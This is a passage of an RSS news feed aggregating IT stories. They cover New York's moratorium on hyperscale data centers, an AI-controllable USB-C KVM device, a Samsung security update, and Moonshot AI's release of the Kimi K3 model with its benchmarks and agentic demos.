<p class="wp-block-paragraph">So, if an enterprise’s cloud or co-location strategy or roadmap assumes hyperlocal capacity, that assumption now carries some risk. CIOs and IT leaders should therefore work with providers to gain more clarity on regional capacity.</p>



<p class="wp-block-paragraph">The moratorium could result in some “border-hopping,” with enterprises hosting local servers in adjacent states like Pennsylvania, Connecticut, or New Jersey, but that’s not likely to be widespread, Kimball noted.</p>



<p class="wp-block-paragraph">The realistic regional impact will be “more of a slow squeeze rather than a shock,” he said. This could result in tighter colocation availability and firmer pricing in the New York Metropolitan area over the next few years. Cloud providers may also steer new AI capacity to regions like Georgia, Ohio, Texas, and Utah, where power and permitting are more predictable.</p>



<h2 class="wp-block-heading">An inflection point, but more trickle-down than direct impact</h2>



<p class="wp-block-paragraph">Indeed, noted <a href="https://www.infotech.com/profiles/jeremy-roberts" target="_blank" rel="noreferrer noopener">Jeremy Roberts</a>, senior director for research and content at Info-Tech Research Group, the moratorium is an “inflection point” and a “way to placate an increasingly angry public,”.</p>



<p class="wp-block-paragraph">People don’t like the fact that, beyond the initial build, data centers don’t create many jobs, they take up a lot of space, they use a significant amount of power and resources, and they can be “noisy and smelly.”</p>



<p class="wp-block-paragraph">However, the impact of the moratorium is likely going to be “macro” for everyday enterprises, as New York is specifically targeting hyperscale data centers.</p>



<p class="wp-block-paragraph">“If you were planning on building a data center in New York and your name is not [Microsoft CEO] Satya Nadella, it’s probably not going to affect you,” said Roberts.</p>



<p class="wp-block-paragraph">But the consequences of the move will certainly trickle down, for instance, with AI device or hardware purchases supplanting software acquisition. Roberts pointed to <a href="https://www.nytimes.com/2026/07/15/business/dealbook/ibm-ai-software-consulting.html" target="_blank" rel="noreferrer noopener">IBM’s history-making stock plunge</a> this week, which the company attributed to enterprise buyers diverting IT budgets away from software and mainframes to stockpile AI hardware like servers and memory chips to get ahead of anticipated supply issues and price increases.</p>



<p class="wp-block-paragraph">If enterprises plan to invest in anything that uses storage or CPUs, they will be paying more in the future, Roberts said. “It’s a symptom of a problem you’re going to feel.”</p>



<p class="wp-block-paragraph">That said, constraints usually inspire innovation; if a hyperscaler can’t build a 50MW data center, it will likely find ways to string together smaller data centers or adapt in other ways. This could “percolate” across the industry, Roberts said. “People are endlessly creative.”</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New York State just hit pause on the AI data center boom]]></title>
<description><![CDATA[As AI use ratchets up, demand for data center capacity is higher than it’s ever been. But New York State is telling the industry: Not so fast.



New York Governor Kathy Hochul this week signed an Executive Order described as the “nation’s first moratorium” on new hyperscale data centers, massive...]]></description>
<link>https://tsecurity.de/de/3674884/it-nachrichten/new-york-state-just-hit-pause-on-the-ai-data-center-boom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674884/it-nachrichten/new-york-state-just-hit-pause-on-the-ai-data-center-boom/</guid>
<pubDate>Fri, 17 Jul 2026 03:32:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">As AI use ratchets up, demand for data center capacity is higher than it’s ever been. But New York State is telling the industry: Not so fast.</p>



<p class="wp-block-paragraph">New York Governor Kathy Hochul this week signed an <a href="https://www.governor.ny.gov/news/first-statewide-moratorium-new-hyperscale-data-centers-launched-governor-kathy-hochul" target="_blank" rel="noreferrer noopener">Executive Order</a> described as the “nation’s first moratorium” on new hyperscale data centers, massive factories that typically comprise thousands of servers devouring tens or hundreds of megawatts of power.</p>



<p class="wp-block-paragraph">During this up to one year pause, the state will halt issuance of environmental permits for data centers as it develops a regulatory framework to protect ratepayers, the energy grid, the environment, and local communities.</p>



<p class="wp-block-paragraph">Like other states, New York is seeing “unprecedented” demand for data center development that would ultimately require “massive amounts” of energy and water, Hochul noted. And community backlash seems to be <a href="https://datacenteropposition.com/wp-content/uploads/2026/07/June-2026-DCOR.pdf" target="_blank" rel="noreferrer noopener">accelerating at the same pace</a>.</p>



<p class="wp-block-paragraph">This is “a symptom of a bigger, nationwide issue,” said <a href="https://moorinsightsstrategy.com/team/matt-kimball/" target="_blank" rel="noreferrer noopener">Matt Kimball</a>, VP and principal analyst for data center technologies at Moor Insights &amp; Strategy. “Compute demand is far outpacing the grid,” prompting state and local leaders to pause and figure out how to manage things more effectively.</p>



<h2 class="wp-block-heading">Creating a blueprint for local development, community support</h2>



<p class="wp-block-paragraph">New York already requires data centers to pay more for energy, or to supply their own, to keep costs affordable for residents. Hochul also plans to pursue legislation that would repeal sales tax exemptions for massive data centers already existing in the state.</p>



<p class="wp-block-paragraph">During the moratorium, New York will develop a “Generic Environmental Impact Statement” (GEIS) to assess the potential environmental impacts of data center construction and operation, including their water and <a href="https://www.networkworld.com/article/4196922/how-data-centers-cope-with-heat-waves.html" target="_blank">energy demands</a> and impact on air quality. Once it’s lifted, new data center projects will only be allowed to proceed if they strictly observe state, zoning, and other local approvals.</p>



<p class="wp-block-paragraph">On a shorter 60-day timeline, the state will issue a Community Investment Framework (CIF) to provide guidance to local governments negotiating large-scale data center deals, and to ensure operators are investing in and partnering with host communities and workforces. This will set standardized expectations for projects and establish baseline thresholds for data center operators’ investment into local communities.</p>



<p class="wp-block-paragraph">Notably, New York is proposing a contribution of $1 million per megawatt (MW) of anticipated utility demand per project. Thus, 50 megawatts of use would require data center operators to reinvest $50 million into their host community; 400 megawatts would require $400 million.</p>



<p class="wp-block-paragraph">The framework will include ‘Good Neighbor Commitments’ around landscaping, design, and mitigation of noise and light pollution; labor commitments to give organized labor “a seat at the table” to determine wage standards, local hiring, and workforce development; and a community investment fund to support the host community’s “long-term economic vitality and quality of life.”</p>



<p class="wp-block-paragraph">Data center operators, for instance, could provide direct financial support to host communities, or invest in public infrastructure, housing improvements, workforce development and training programs, or in broadband expansion.</p>



<p class="wp-block-paragraph">“Having a published playbook for how to make this work across a state versus having to negotiate this on a county-by-county basis should be a win for everybody,” Moor’s Kimball noted.</p>



<p class="wp-block-paragraph">Separately, New York is also considering establishing a fund that would require data centers to invest in the state’s aging grid infrastructure and support new clean energy procurement.</p>



<h2 class="wp-block-heading">What enterprises and other states should be watching</h2>



<p class="wp-block-paragraph">Realistically, a data center buildout takes anywhere from 3 to 5 years from the point of site selection to turning on the switch for the first time, Kimball pointed out. The one-year moratorium doesn’t do too much for that.</p>



<p class="wp-block-paragraph">What matters more is what New York does during that pause, he noted, for example, establishing a regulatory framework to re-price the cost of hyperscale deployment, determining costs for grid upgrades or “bring your own power” expectations, developing requirements for more formalized operator contributions to the local community, or considering the repeal of tax exemptions.</p>



<p class="wp-block-paragraph">“And really, this subsidizing angle is the biggest,” said Kimball. States across the country have been subsidizing buildouts to get data center business for years. “This could signal the beginning of the end of those subsidies for many states.”</p>



<p class="wp-block-paragraph">For enterprise IT leaders, the headline is the signal that power and permitting are now “first-order variables” for infrastructure strategies, right alongside cost and latency requirements, said Kimball.</p>



<p class="wp-block-paragraph">So, if an enterprise’s cloud or co-location strategy or roadmap assumes hyperlocal capacity, that assumption now carries some risk. CIOs and IT leaders should therefore work with providers to gain more clarity on regional capacity.</p>



<p class="wp-block-paragraph">The moratorium could result in some “border-hopping,” with enterprises hosting local servers in adjacent states like Pennsylvania, Connecticut, or New Jersey, but that’s not likely to be widespread, Kimball noted.</p>



<p class="wp-block-paragraph">The realistic regional impact will be “more of a slow squeeze rather than a shock,” he said. This could result in tighter colocation availability and firmer pricing in the New York Metropolitan area over the next few years. Cloud providers may also steer new AI capacity to regions like Georgia, Ohio, Texas, and Utah, where power and permitting are more predictable.</p>



<h2 class="wp-block-heading">An inflection point, but more trickle-down than direct impact</h2>



<p class="wp-block-paragraph">Indeed, noted <a href="https://www.infotech.com/profiles/jeremy-roberts" target="_blank" rel="noreferrer noopener">Jeremy Roberts</a>, senior director for research and content at Info-Tech Research Group, the moratorium is an “inflection point” and a “way to placate an increasingly angry public,”.</p>



<p class="wp-block-paragraph">People don’t like the fact that, beyond the initial build, data centers don’t create many jobs, they take up a lot of space, they use a significant amount of power and resources, and they can be “noisy and smelly.”</p>



<p class="wp-block-paragraph">However, the impact of the moratorium is likely going to be “macro” for everyday enterprises, as New York is specifically targeting hyperscale data centers.</p>



<p class="wp-block-paragraph">“If you were planning on building a data center in New York and your name is not [Microsoft CEO] Satya Nadella, it’s probably not going to affect you,” said Roberts.</p>



<p class="wp-block-paragraph">But the consequences of the move will certainly trickle down, for instance, with AI device or hardware purchases supplanting software acquisition. Roberts pointed to <a href="https://www.nytimes.com/2026/07/15/business/dealbook/ibm-ai-software-consulting.html" target="_blank" rel="noreferrer noopener">IBM’s history-making stock plunge</a> this week, which the company attributed to enterprise buyers diverting IT budgets away from software and mainframes to stockpile AI hardware like servers and memory chips to get ahead of anticipated supply issues and price increases.</p>



<p class="wp-block-paragraph">If enterprises plan to invest in anything that uses storage or CPUs, they will be paying more in the future, Roberts said. “It’s a symptom of a problem you’re going to feel.”</p>



<p class="wp-block-paragraph">That said, constraints usually inspire innovation; if a hyperscaler can’t build a 50MW data center, it will likely find ways to string together smaller data centers or adapt in other ways. This could “percolate” across the industry, Roberts said. “People are endlessly creative.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.networkworld.com/article/4198048/new-york-state-just-hit-pause-on-the-ai-data-center-boom.html" target="_blank">NetworkWorld</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI's Hardware Plans Have a Bigger Problem Than Apple's Lawsuit]]></title>
<description><![CDATA[Commentary: Beyond proving the ChatGPT maker didn't steal Apple's trade secrets, OpenAI needs to prove to everyone else that AI devices are a good idea.]]></description>
<link>https://tsecurity.de/de/3674762/it-nachrichten/openais-hardware-plans-have-a-bigger-problem-than-apples-lawsuit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674762/it-nachrichten/openais-hardware-plans-have-a-bigger-problem-than-apples-lawsuit/</guid>
<pubDate>Fri, 17 Jul 2026 00:32:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Commentary: Beyond proving the ChatGPT maker didn't steal Apple's trade secrets, OpenAI needs to prove to everyone else that AI devices are a good idea.]]></content:encoded>
</item>
<item>
<title><![CDATA[NanoKVM-Go Brings AI-Powered Hardware Control to Linux with a Compact USB-C KVM]]></title>
<description><![CDATA[by George Whittaker
      
            Sipeed has introduced NanoKVM-Go, a compact USB-C KVM-over-IP device that combines remote hardware management with AI integration. Designed for Linux, Windows, macOS, and other USB-C devices, NanoKVM-Go allows users to remotely view and control a system thro...]]></description>
<link>https://tsecurity.de/de/3674731/unix-server/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674731/unix-server/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm/</guid>
<pubDate>Fri, 17 Jul 2026 00:16:05 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-history-node-id="1341445" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm.jpg" width="850" height="500" alt="NanoKVM-Go Brings AI-Powered Hardware Control to Linux with a Compact USB-C KVM" typeof="foaf:Image" class="img-responsive"></div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/george-whittaker" lang="" about="https://www.linuxjournal.com/users/george-whittaker" typeof="schema:Person" property="schema:name" datatype="" xml:lang="">George Whittaker</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>Sipeed has introduced <strong>NanoKVM-Go</strong>, a compact USB-C KVM-over-IP device that combines remote hardware management with AI integration. Designed for Linux, Windows, macOS, and other USB-C devices, NanoKVM-Go allows users to remotely view and control a system through a web browser while exposing its keyboard, mouse, and display functions to AI agents via the <strong>Model Context Protocol (MCP)</strong>.</p>

<p>Unlike traditional KVM-over-IP solutions that require multiple cables and dedicated networking hardware, NanoKVM-Go simplifies the setup into a single USB-C connection, making remote administration and AI-assisted automation more accessible for developers, system administrators, and homelab enthusiasts.</p>

<h2><strong>A Portable USB-C KVM</strong></h2>

<p>NanoKVM-Go is roughly the size of a smartwatch, measuring about <strong>45 × 40 × 15 mm</strong>, yet it combines several functions into a single device.</p>

<p>Key hardware features include:</p>

<ul><li>USB-C connection for video, audio, keyboard, mouse, and power</li>
	<li>Wi-Fi 6 connectivity</li>
	<li>Browser-based remote management</li>
	<li>Support for virtual USB storage</li>
	<li>Built-in Tailscale integration for secure remote access</li>
	<li>Fanless aluminum enclosure with low power consumption</li>
</ul><p>Because it connects over USB-C using DisplayPort Alt Mode, the device can manage a wide variety of hardware without requiring software installation on the target system.</p>

<h2><strong>Designed for Linux and Beyond</strong></h2>

<p>NanoKVM-Go supports numerous USB-C devices, including:</p>

<ul><li>Linux desktops and laptops</li>
	<li>Windows PCs</li>
	<li>macOS systems</li>
	<li>Mini PCs</li>
	<li>Steam Deck</li>
	<li>Android devices with DisplayPort Alt Mode</li>
	<li>iPhone 15 and newer models</li>
	<li>Tablets supporting USB-C video output</li>
</ul><p>For Linux users, this provides an easy way to perform BIOS configuration, operating system installation, kernel debugging, or remote troubleshooting—even when the operating system is unavailable.</p>

<h2><strong>AI Integration Through MCP</strong></h2>

<p>One of NanoKVM-Go's defining features is its <strong>AI-native design</strong>.</p>

<p>Rather than simply streaming a desktop remotely, the device exposes its KVM functions as an <strong>MCP (Model Context Protocol) server</strong>, allowing compatible AI agents to interact with the connected computer using hardware-level keyboard and mouse input.</p>

<p>This enables AI systems to:</p>

<ul><li>View the screen</li>
	<li>Move the mouse</li>
	<li>Type on the keyboard</li>
	<li>Launch applications</li>
	<li>Navigate user interfaces</li>
	<li>Complete repetitive desktop workflows</li>
</ul><p>Because control happens at the hardware level, AI agents can interact with systems regardless of the operating system installed.</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/nanokvm-go-brings-ai-powered-hardware-control-linux-compact-usb-c-kvm" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
  </div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Galaxy S25 Lineup Gets July Update (Update: More Devices)]]></title>
<description><![CDATA[Samsung continues its push of July security patch updates to its long list of devices. Galaxy S25 series is the latest, but we’ll be updating this post as more devices receive it. Galaxy S25 joins Galaxy S26 in being updated to the latest software, but beyond the security patch, nothing else is n...]]></description>
<link>https://tsecurity.de/de/3674680/it-nachrichten/galaxy-s25-lineup-gets-july-update-update-more-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674680/it-nachrichten/galaxy-s25-lineup-gets-july-update-update-more-devices/</guid>
<pubDate>Thu, 16 Jul 2026 23:32:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Samsung continues its push of July security patch updates to its long list of devices. Galaxy S25 series is the latest, but we’ll be updating this post as more devices receive it. Galaxy S25 joins Galaxy S26 in being updated to the latest software, but beyond the security patch, nothing else is noted in the...</p>
<p>Read the original post: <a href="https://www.droid-life.com/2026/07/16/galaxy-s25-lineup-gets-july-update/">Galaxy S25 Lineup Gets July Update (Update: More Devices)</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[China’s Moonshot AI releases Kimi K3, the largest open-source model ever, rivaling top U.S. systems]]></title>
<description><![CDATA[Moonshot AI, the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released Kimi K3 — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful pr...]]></description>
<link>https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/</guid>
<pubDate>Thu, 16 Jul 2026 23:17:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.moonshot.ai/">Moonshot AI,</a> the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful proprietary systems from <a href="https://www.anthropic.com/">Anthropic</a> and <a href="https://openai.com/">OpenAI</a>.</p><p>The release, timed to land just ahead of the <a href="https://aiii.global/waic-2026/">2026 World Artificial Intelligence Conference</a> in Shanghai, is a dramatic escalation in the global AI arms race and a watershed moment for the open-source AI movement. It also marks a remarkable comeback for a company whose market position had eroded significantly over the past 18 months following DeepSeek's meteoric rise.</p><p>Full model weights are scheduled to be released on July 27, according to details shared by researchers who reviewed the company's technical documentation. If you want to take <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> for a spin right now, you can — just head to<a href="https://www.kimi.com/"> kimi.com</a>, sign up with a Google account or phone number (no credit card required), and start chatting with what may be the most powerful open-source model ever built.</p><div></div><h2><b>Inside the architecture that powers the world's largest open-source AI model</b></h2><p><a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> is a frontier-class large language model with 2.8 trillion total parameters — roughly 75 percent larger than <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek's V4 Pro</a>, which the company's own timeline chart shows at approximately 1.6 trillion parameters. The model features a 1-million-token context window, native visual understanding capabilities, and an always-on reasoning mode that the company calls "thinking mode."</p><p>The model is built on two key architectural innovations developed internally at Moonshot AI: <a href="https://arxiv.org/abs/2510.26692">Kimi Delta Attention</a>, a hybrid linear attention mechanism, and <a href="https://arxiv.org/abs/2603.15031">Attention Residuals</a>, which the company describes as a drop-in replacement for residual connections that delivers consistent scaling gains. Both techniques were previously published as open research by the Moonshot team on <a href="https://github.com/moonshotai">GitHub</a>.</p><p>On the <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">API side</a>, Kimi K3 is compatible with the <a href="https://developers.openai.com/api/docs/guides/agents">OpenAI SDK</a>, lowering the integration barrier for developers already building on OpenAI or Anthropic toolchains. The model is priced at $3 per million input tokens and $15 per million output tokens, with cached input tokens dropping to just $0.30 per million — pricing that positions it roughly in line with mid-tier offerings from Western labs, but at a performance level the company claims approaches the top of the market. A promotional top-up rebate running through August 12 offers up to 30 percent back in vouchers for API credits of $1,000 or more.</p><p>As <a href="https://finance.sina.com.cn/stock/t/2026-07-17/doc-inihzrtu1375218.shtml?cref=cj">Xinhua reported</a>, a Moonshot AI executive explained the significance of the parameter count in simple terms: parameters are like neural connections in the human brain, and nearly 3 trillion of them means the model can "store more knowledge and patterns in its brain, understand more, think deeper, and answer more accurately."</p><div></div><h2><b>Benchmark results show Kimi K3 trading blows with Claude and GPT at the top of the leaderboard</b></h2><p>The benchmark results, drawn from public leaderboard data and a private evaluation by analytics firm Artificial Analysis, tell a striking story.</p><p>On <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA v2</a>, a benchmark measuring real-world tasks across 44 occupations and 9 major industries, Kimi K3 scored 1,687 — placing it third overall, behind only Claude Fable 5 Max (1,815) and GPT-5.6 Sol Max (1,747.8), and ahead of Claude Opus 4.8 (1,600).</p><p>On <a href="https://artificialanalysis.ai/evaluations/aa-briefcase">AA-Briefcase</a>, a private agentic benchmark from Artificial Analysis designed to test long-horizon knowledge work, K3 climbed to second place with a score of 1,527 — beating GPT-5.6 Sol Max (1,495) and trailing only Fable 5 Max (1,587).</p><p>Perhaps most impressively, K3 achieved a state-of-the-art score of 91.2 out of 100 on <a href="https://openai.com/index/browsecomp/">BrowseComp</a>, a benchmark for long-horizon, high-difficulty information seeking. </p><p>The company says it accomplished this in a single-agent setup using its 1-million-token context window, without any context compression or additional context management techniques — a feat that suggests raw context length, when paired with strong retrieval capabilities, may be more powerful than elaborate multi-agent workarounds.</p><p>As <a href="https://x.com/kimmonismus/status/2077818040578695175">one widely followed AI commentator</a> put it on social media: "Open source is no longer lagging six months behind Western closed-source models. Read that again, and think about what it all means."</p><p>That observation captures the significance of the moment. For much of the past three years, open-source models have typically trailed their proprietary counterparts by a meaningful margin. Kimi K3 appears to have closed that gap almost entirely.</p><h2><b>How a 48-hour autonomous chip design demo reveals Moonshot's real ambitions</b></h2><p>Beyond raw benchmarks, <a href="https://www.moonshot.ai/">Moonshot AI</a> showcased a proof-of-concept that may be even more revealing of K3's capabilities and the company's strategic direction.</p><p>In a demonstration documented in the company's technical materials, <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> was tasked with designing a physical chip to run a nano-scale version of itself. Over 48 hours of continuous autonomous agent operation, K3 independently completed the chip's full construction pipeline — from architectural design through optimization and verification — using open-source electronic design automation tools. The result was a tiny but functional chip design, just 4 square millimeters, that achieved timing convergence at 100 MHz and could decode more than 8,700 tokens per second in simulation.</p><p>This is not a production chip. It is a demonstration of what <a href="https://www.moonshot.ai/">Moonshot AI</a> clearly views as the next competitive frontier: long-range autonomous agent capabilities. The ability to sustain coherent, multi-step technical work over a 48-hour window — reading documentation, making design decisions, running verification loops, and iterating on failures — represents a qualitative leap beyond the kind of single-turn question-answering that defined the first generation of large language models.</p><p>The company also highlighted a case in computational astrophysics, where K3 reportedly reproduced the universal <a href="https://inspirehep.net/literature/1220233">I-Love-Q relation</a> — a complex calculation that typically takes a senior researcher one to two weeks — in approximately two hours, reading and cross-validating more than 20 papers and implementing a complete numerical pipeline along the way.</p><h2><b>Moonshot AI's fall and rise tells the story of China's brutal AI market</b></h2><p>To understand why <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> matters, you need to understand where Moonshot AI was 18 months ago — and how far it fell.</p><p>Founded in 2023 by <a href="https://kimiyoung.github.io/">Yang Zhilin</a>, a Tsinghua University graduate who previously conducted research at Google and Meta, Moonshot AI quickly became one of China's most prominent AI startups. The company gained early traction in 2024 when users flocked to its <a href="http://kimi.ai/">Kimi platform</a> for its long-text analysis capabilities and AI search functions. By early 2026, it had raised roughly <a href="https://www.forbes.com/sites/the-prompt/2026/07/15/ai-startup-reflection-compute-deal-to-challenge-chinas-open-source-dominance/">$1.5 billion</a> across multiple rounds, with its valuation climbing from $2.5 billion to $4.3 billion and the company reportedly <a href="https://tech.yahoo.com/ai/gemini/articles/china-moonshot-releases-open-source-141110760.html">seeking a new round at $5 billion</a>.</p><p>Then DeepSeek happened. The release of DeepSeek's low-cost R1 model in January 2025 disrupted the entire Chinese AI landscape, and Moonshot AI was among the hardest hit. Kimi, which had ranked third in monthly active users in China, slid to seventh. The company's strategic pivot to open-source models — beginning with Kimi K2 in July 2025 and accelerating with K2.5 in January 2026 — was in large part an effort to reclaim relevance.</p><p><a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> is the culmination of that effort — and the sheer scale of the model suggests that Moonshot AI has been planning this move for some time. Training a 2.8-trillion-parameter model requires enormous computational resources and months of preparation, which means the architectural and infrastructure decisions behind K3 were likely locked in well before the model reached the public.</p><h2><b>Why open-sourcing the world's biggest model is a geopolitical chess move</b></h2><p>The decision to release K3's full weights on July 27 is strategically significant and worth parsing carefully.</p><p>The company's own timeline chart of open-source frontier model scale positions K3 as a dramatic outlier, towering above competitors like <a href="https://github.com/deepseek-ai">DeepSeek</a> (1.6T), <a href="https://github.com/xiaomi">Xiaomi</a> (1.02T), and <a href="https://github.com/ALIBABA">Alibaba</a> (397B). By releasing the world's largest open-source model, Moonshot AI is making a bid to become the center of gravity for the global open-source AI developer community.</p><p>This follows a broader trend among Chinese AI companies. As <a href="https://www.reuters.com/technology/artificial-intelligence/china-weighs-silicon-curtain-around-sought-after-ai-models-2026-07-08/">Reuters noted</a>, open-sourcing allows companies to "showcase their technological capabilities and expand developer communities as well as their global influence, a strategy likely to help China counter U.S. efforts to limit Beijing's tech progress." DeepSeek, Alibaba, Tencent, and Baidu have all released open-source models. But none have released anything at this parameter count.</p><p>For enterprise technology leaders, the implications are concrete. A 2.8-trillion-parameter open-source model that performs at near-frontier levels creates new options for companies that want to fine-tune, self-host, or build proprietary systems on top of a capable base model — without being locked into API contracts with OpenAI or Anthropic. The trade-off, of course, is that running a model of this size requires substantial GPU infrastructure. Inference at 2.8 trillion parameters is not something that runs on a single server rack.</p><p>That said, <a href="https://www.moonshot.ai/">Moonshot AI</a> has signaled awareness of this challenge. Its Mooncake project, which won the Best Paper award at FAST 2025, pioneered KV-cache-centric disaggregated serving for large language models — an architecture designed specifically to make inference at extreme scale more practical and cost-efficient.</p><h2><b>Kimi Code and a three-tier model lineup form the foundation of Moonshot's enterprise play</b></h2><p>Alongside K3, Moonshot AI continues to invest heavily in its coding agent ecosystem. <a href="https://github.com/MoonshotAI/kimi-code/releases">Kimi Code</a>, the company's open-source coding tool that competes with Anthropic's Claude Code and Google's Gemini CLI, received two major updates on the same day as K3's launch — versions 0.25.0 and 0.26.0 — adding features like expanded subagent tooling, background task management, and security fixes.</p><p>The <a href="https://github.com/MoonshotAI/kimi-cli">Kimi Code CLI</a> has accumulated over 3,100 stars on GitHub and features integration with VSCode, Cursor, and Zed. The latest release expanded the "coder subagent" tool set to include background tasks, todo lists, plan mode, skill invocation, and nested agents — effectively turning the coding agent into a multi-layered autonomous system capable of managing complex software engineering projects with minimal human intervention.</p><p>This is not incidental. Coding tools have become a critical revenue driver for AI labs. As Anthropic disclosed in January, <a href="https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone">Claude Code reached $1 billion in annualized recurring revenue</a>. By building Kimi Code as an open-source alternative that defaults to Kimi's own models — but supports other providers — Moonshot AI is positioning itself to capture developer workflows and, eventually, enterprise contracts.</p><p>The company's model lineup now includes three tiers: <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">K3</a> as the flagship ($3/$15 per million tokens for input/output), <a href="https://platform.kimi.ai/docs/guide/kimi-k2-7-code-quickstart">K2.7 Code</a> as a specialized coding model ($0.95/$4), and <a href="https://platform.kimi.ai/docs/guide/kimi-k2-6-quickstart">K2.6</a> as a general-purpose option ($0.95/$4). All three support context windows of 256,000 tokens or above, with K3 offering the full 1-million-token window. Context caching is automatic — no cache ID, TTL, or extra parameter is required — a small but meaningful developer-experience advantage over competitors that require explicit cache management.</p><h2><b>What Kimi K3 means for the future of enterprise AI and the global model landscape</b></h2><p>Kimi K3's release forces a recalibration of several assumptions that have guided enterprise AI strategy.</p><p>The performance gap between open-source and proprietary models has functionally closed at the frontier. If K3's benchmark numbers hold up under independent evaluation — and particularly once the open weights are available for community testing on July 27 — it will be difficult for closed-source providers to justify premium pricing purely on the basis of capability.</p><p>The locus of AI innovation, meanwhile, continues to shift. China's AI ecosystem, which many Western observers questioned after early struggles with chip export restrictions, has now produced a model that competes with the best systems from companies with direct access to Nvidia's most advanced hardware. The architectural innovations behind K3 — particularly the hybrid linear attention mechanism — suggest that algorithmic efficiency may matter as much as raw compute.</p><p>And the agentic capabilities demonstrated by K3 — chip design, multi-week research compression, long-horizon information seeking — point toward a future where AI models are not just answering questions but autonomously executing complex, multi-day projects. For enterprises evaluating AI investments, this shifts the value proposition from "productivity copilot" to "autonomous technical workforce."</p><p><a href="https://finance.sina.com.cn/stock/t/2026-07-17/doc-inihzrtu1375218.shtml?cref=cj">Xinhua</a>, China's state news agency, framed the release as a national milestone, reporting that K3 "marks a new step forward in the development of China's artificial intelligence models." Liu Tieyan, dean of the Zhongguancun Academy in Beijing, was quoted as saying that a wave of Chinese open-source models has moved from isolated breakthroughs to collective advancement, providing "new solutions and new paths" for global AI development.</p><p>Just two years ago, <a href="https://www.moonshot.ai/">Moonshot AI</a> was a scrappy startup named for the audacious problems it hoped to solve. Eighteen months ago, it was a cautionary tale about how quickly a market darling can lose its footing. Today, it is the maker of the world's largest open-source AI model — one that can, given 48 hours and an internet connection, design a chip to run itself. The frontier, it turns out, is not a place. It is a race. And the field just got a lot more crowded.</p><p>
</p>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,62ms -->